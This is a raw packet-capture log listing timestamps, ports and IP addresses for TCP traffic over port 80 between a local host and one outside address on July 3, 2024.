Jul 3, 2024 08:45:35.010483027 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010489941 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010497093 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.010514975 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.010581017 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010588884 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010617971 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.010648966 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.010756969 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.011287928 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011328936 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011334896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011360884 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.011434078 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011442900 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011454105 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.011455059 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011464119 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011501074 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.011554003 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.011589050 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011603117 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011605024 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.011703968 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.012273073 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.012343884 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.012356043 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.012435913 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261177063 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261204958 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261218071 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261223078 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261233091 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261239052 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261244059 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261298895 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261305094 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261315107 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261334896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261342049 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261370897 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261377096 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261446953 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261457920 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261471987 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261497021 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261554003 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261562109 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261615038 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261617899 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261625051 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261635065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261671066 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.261687040 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.261934042 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.262046099 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262104988 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262115955 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262171984 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.262185097 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262191057 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262202978 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262208939 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262262106 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.262324095 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262353897 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262365103 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262429953 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.262439013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262447119 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.262551069 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263009071 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263051033 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263062000 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263107061 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263144970 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263150930 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263161898 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263262987 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263509035 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263550043 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263561010 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263658047 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263664007 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263674021 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263680935 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263690948 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263706923 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263792992 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263799906 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263823032 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263864040 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263870001 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263880014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.263895035 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263940096 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.263940096 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.264550924 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264559984 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264611959 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264617920 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264666080 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.264708996 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264717102 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264727116 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264733076 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.264779091 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.264830112 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.310760975 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.352395058 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.404489040 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513186932 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513225079 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513236046 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513247013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513258934 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513278961 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513288975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513300896 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513323069 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513339996 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513359070 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513458014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513468027 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513478994 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513489962 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513516903 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513567924 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513571024 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513582945 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513592958 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513614893 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513853073 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513864994 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513875008 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513895035 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513897896 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513915062 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.513936043 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.513956070 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514086008 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514147997 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514158010 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514189959 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514228106 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514239073 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514249086 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514276981 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514312029 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514444113 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514483929 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514493942 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514525890 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514594078 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514605999 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514615059 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514625072 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514638901 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514658928 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514774084 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514785051 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514795065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514806032 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514816046 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514817953 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514827013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514837027 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.514837980 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.514875889 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515249014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515342951 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515352964 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515381098 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515392065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515393019 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515402079 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515429020 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515446901 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515568972 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515580893 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515590906 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515600920 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515610933 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515618086 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515621901 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515646935 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515666008 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.515674114 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515726089 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515737057 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.515782118 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516232967 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516244888 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516254902 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516278028 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516294003 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516359091 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516371012 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516380072 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516390085 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516405106 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516433001 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516505003 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516521931 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516532898 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516541958 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516552925 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516562939 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516567945 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516577005 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516588926 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.516598940 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.516638041 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517112017 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517179012 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517189026 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517214060 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517244101 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517255068 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517265081 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517287016 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517312050 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517390013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517400980 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517410994 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517420053 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517430067 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517435074 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517441034 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.517465115 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.517483950 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.603674889 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.654478073 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765142918 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765168905 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765181065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765191078 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765202999 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765213013 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765219927 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765223980 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765253067 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765268087 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765280008 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765290976 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765301943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765307903 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765391111 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765430927 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765443087 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765454054 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765465975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765475988 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765491009 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765496016 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765568972 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765603065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765614986 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765625954 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765638113 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765654087 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765655041 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765681028 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765749931 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765760899 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765772104 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765783072 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765800953 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765840054 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765881062 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765908957 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765923023 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765933990 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.765935898 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.765980959 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766037941 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766048908 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766087055 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766103983 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766107082 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766159058 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766180038 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766218901 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766252041 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766263008 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766273975 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766284943 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766295910 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766314030 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766347885 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766366005 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766421080 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766443014 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766444921 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766489029 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766549110 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766558886 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766570091 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766582012 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766606092 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766622066 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766707897 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766719103 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766743898 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766756058 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766761065 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766772985 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766783953 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766794920 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766804934 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766809940 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766817093 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.766833067 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.766904116 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770294905 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770334005 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770344973 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770370960 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770374060 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770406008 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770466089 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770478010 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770494938 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770502090 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770513058 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770520926 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770523071 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770541906 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770577908 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770581007 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770675898 CEST	49731	80	192.168.2.4	103.195.237.43
Jul 3, 2024 08:45:35.770683050 CEST	80	49731	103.195.237.43	192.168.2.4
Jul 3, 2024 08:45:35.770694971 CEST	80	49731	103.195.237.43	192.168.2.4
